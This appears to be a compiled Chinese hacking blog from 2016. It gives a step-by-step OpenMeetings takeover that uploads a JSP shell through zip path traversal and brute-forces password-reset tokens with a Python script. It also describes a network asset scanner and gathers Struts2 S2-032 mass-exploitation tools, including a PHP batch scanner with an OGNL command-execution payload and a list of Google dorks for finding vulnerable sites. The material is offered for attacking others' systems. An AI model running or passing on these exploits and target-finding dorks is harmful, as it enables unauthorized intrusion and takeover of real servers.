2016年5月

Apache OpenMeetings 算是比较冷门的系统,国内比较少见,要么都在内网吧。
根据已经发布的漏洞:
Apache OpenMeetings ZIP文件路径遍历(穿越)漏洞(CVE-2016-0784)
Apache OpenMeeting可预测密码重置令牌漏洞(CVE-2016-0783)
存在理论上getshell的可行性;

1. 本地搭建openmeetings环境;
2. 验证ZIP文件路径穿越漏洞;
准备穿越用的zip;
将jsp脚本改名为aaaaaaaaaaaaaaaaas2.jsp
然后zip,
z1.jpg
用UE打开,查找aaa(ASCII)
z2.jpg
替换aaa为../
z3.jpg
我们这里替换为 ../../../../ 跳4次
文件头和尾都有;
保存zip
上传:
管理员登录,找到backup/import
bb.jpg
导入zip
i3.jpg
会报一个错,不用理会的;
iee.jpg
查看文件:
ff.jpg
看来4跳走远了,3跳就够了;
其实jsp脚本放在openmeetings的根目录是不能运行的;但是我们放在css这样的目录就可以了;
cc8.jpg
效果如下:
:5080/openmeetings/css/aaaas2.jsp
11.jpg

如何获得shell就这样了;
Apache OpenMeeting可预测密码重置令牌漏洞
根据描述,查看源码,大概了解是这样的
private void sendHashByUser(User us, String appLink, UserDao userDao) throws Exception {     String loginData = us.getLogin() + new Date();     log.debug("User: " + us.getLogin());     us.setResethash(ManageCryptStyle.getInstanceOfCrypt().createPassPhrase(loginData));     userDao.update(us, -1L);     String reset_link = appLink + "?hash=" + us.getResethash();     String email = us.getAdresses().getEmail();     String template = ResetPasswordTemplate.getEmail(reset_link);     getBean(MailHandler.class).send(email, Application.getString(517), template);   }

hash=md5(user+java:Date())
Java的Date()格式输出是这样的
Thu Apr 28 10:52:24 CST 2016

操作如下:
这里有一个坑,忘记密码,我们看到的样子是这样的;
f117.jpg
结果我个人的本地环境,居然是这样的;
zy7.jpg
当时也没有点,死活没有找到忘记密码在哪里点,结果点开之后更坑
zwww25.jpg
原因是我在安装的时候选择了“中文”,这特么也太远了,那个是用户啊!
重置操作:
p1.jpg
中文的
p2.jpg
猜解hash
#coding=utf-8 import time,sys import requests,hashlib def md5(str):     m = hashlib.md5()     m.update(str)     return m.hexdigest() if __name__=='__main__':     reset_time_format=time.strftime("%a %b %d %H:%M:%S",time.localtime())     print 'Date_Time_Format:  '+reset_time_format+' CST 2016'     current_xtime=time.strftime("%a %b %d %H:",time.localtime())     opm_link=sys.argv[1]     opm_port=sys.argv[2]     opm_user=sys.argv[3]     opm_mins=sys.argv[4]     for i in range(0,60):         secs = ("%02d"%i)         date=current_xtime+str(opm_mins)+':'+str(secs)+' CST 2016'         #print date         hastr=opm_user+str(date)         rest_hash=md5(hastr)         url='http://'+opm_link+':'+opm_port+'/openmeetings/reset?hash='+rest_hash         reset_action=requests.get(url)         req_content=reset_action.text         if 'Password set' in req_content:             print 'User: '+opm_user+'\n'             print 'Password reset url is:\n'+url
估计不了前后几分钟,单独将分钟独立出来,效果:
ok.jpg
重置操作
ok2.jpg

新密码登录,然后zip上传,穿越,得shell。

附注:
date()是带时区的,Thu Apr 28 10:52:24 CST 2016 什么CET CST等;
因此针对国外的用户,这个时间是不一样的,因此问题在利用上需要猜的数量多了很多;

后来上了google,inurl:5080/openmeetings
居然发现了这个:
All Your Meetings Are Belong to Us: Remote Code Execution in Apache OpenMeetings
http://haxx.ml/post/141655340521/all-your-meetings-are-belong-to-us-remote-code
早知道就不搞环境,直接翻译一下算了。
文章中也提到了openmeetings根目录是不能运行jspshell的,但是他采用了另外的方式
修改配置,利用第三方插件来执行程序反弹
ccccc.jpg

最后那句话,本人不仅菜,而且脸皮还厚,请不吝指正。

网络资产信息扫描

在渗透测试(特别是内网)中经常需要对目标进行网络资产收集,即对方服务器都有哪些IP,IP上开了哪些端口,端口上运行着哪些服务,此脚本即为实现此过程,相比其他探测脚本有以下优点:1、轻巧简洁,只需python环境,无需安装额外外库。2、扫描完成后生成独立页面报告。

此脚本的大概流程为 ICMP存活探测-->端口开放探测-->端口指纹服务识别-->提取快照(若为WEB)-->生成结果报表

运行环境:python 2.6 +

参数说明
-h 必须输入的参数,支持ip(192.168.1.1),ip段(192.168.1),ip范围指定(192.168.1.1-192.168.1.254),ip列表文件(ip.ini),最多限制一次可扫描65535个IP。
-p 指定要扫描端口列表,多个端口使用,隔开 例如:22,23,80,3306。未指定即使用内置默认端口进行扫描(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1723,1433,1521,3306,3389,3690,5432,5800,5900,6379,7001,8000,8001,8080,8081,8888,9200,9300,9080,9999,11211,27017)
-m 指定线程数量 默认100线程
-t 指定HTTP请求超时时间,默认为10秒,端口扫描超时为值的1/2。
-n 不进行存活探测(ICMP)直接进行扫描。

结果报告保存在当前目录(扫描IP-时间戳.html)。

例子:
python NAScan.py -h 10.111.1
python NAScan.py -h 192.168.1.1-192.168.2.111
python NAScan.py -h 10.111.1.22 -p 80,7001,8080 -m 200 -t 6
python NAScan.py -h ip.ini -p port.ini -n

服务识别在server_info.ini文件中配置
格式为:服务名|默认端口|正则  例 ftp|21|^220.*?ftp|^220-
正则为空时则使用端口进行匹配,否则以正则匹配结果为准。

效果图
N_0.jpg
n_1.jpg
n_2.jpg

下载地址 http://down.future-sec.com/F-NAScan.zip
项目地址 https://github.com/ywolf/F-NAScan

欢迎大家反馈建议和BUG

不管效果怎么样,看到的,收集的都发出来了,自己去测试。

第一款、

大家都丢出来了,我也丢一个

效果图

PHP代码
< ?php /* Strutr 批量扫描工具 By:T0n9 */ error_reporting(0); if(empty($argv[1])){ print_r(" +==================================+ | S2-032命令执行批量扫描工具 | | http://www.moxia.org/ | | 墨侠团队 | | By:T0n9 | +==================================+ [+]程序还存在一些Bug 比如一些奇葩网站的回显误报相对较低 [+]扫完同目录生成文件名_ok.txt文本存放存在漏洞的网站 -&gt;php $argv[0] url.txt&lt;br ?>");exit;
}

$txt = explode("\n",file_get_contents($argv[1])); //要扫描的脚本

echo "[+]$argv[1] 共 ".count($txt)." 条\r\n";

//获取盘符路径POC
$poc = "?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8";

for($i = 0;$i<count($txt);$i++){
if(!empty($txt[$i])){
$u = trim($txt[$i]).$poc;
$data_str = c($u);
if(stripos($data_str,"

检测工具

下载地址:
链接: http://pan.baidu.com/s/1jIlNJsM 密码: 9gbf
解压密码:www.t0n9.com (备注有)

第二款:

第一,集成S232漏洞
第二, 自动识别016 019 032三种漏洞
第三,写文件支持任意目录,批量还没有实现

因为批量还没写好,本来不发布的,现在想想发出来玩玩。

源码:http://pan.baidu.com/s/1bp0Vnen

编译好的:http://pan.baidu.com/s/1nv4E9Nb

11.jpg

11.png 

第三款

接下来的这个就是大家都喜欢的批量了。

111.png 下载地址:http://gongju.aizhan.com/

关键字:

inurl:VloginUser.action inurl:Mail.action inurl:code.action inurl:reg.action inurl:Address.action inurl:!Index.action inurl:login.action inurl:Add.action inurl:pageslist.action inurl:action.Action inurl:Message.action inurl:Ldap.action inurl:getMul.action inurl:shouye.action inurl:logout.action inurl:Valid.action inurl:search.action inurl:Magazine.action inurl:news.action inurl:init.action inurl:Page.action inurl:create.action inurl:index2.action inurl:default.action inurl:welcome.action inurl:Name.action inurl:single.action inurl:updateForm.action inurl:SysStart.action inurl:adminlogin.action inurl:Offportal.action inurl:Buying.action inurl:Success.action inurl:exchange.action inurl:menu.action inurl:Load.action inurl:airport.action inurl:Email.action inurl:On.action inurl:show.action inurl:tain.action inurl:Login!input.action inurl:randomPicture.action

骚年们,开始撸起吧。

第四款

S2-032批量POC工具

刚回来看见主页被刷屏...估计是晚了,赶紧写了个脚本加入我的并发框架中.
用法看图

2016-04-26 20:46:18屏幕截图.png

工具
https://github.com/Xyntax/POC-T

简陋的POC
https://github.com/Xyntax/POC-T/blob/master/module/S2032.py

so 现在看大牛们怎么采集url了

第五款:tangScan

http://www.tangscan.com/labs/3

最最最最后一个:K8大牛写的工具,灰常好用,还有K8飞刀,完美结合,自己百度K8的博客,百度都有的,在这儿不多赘述,免得浪费我搬砖的时间。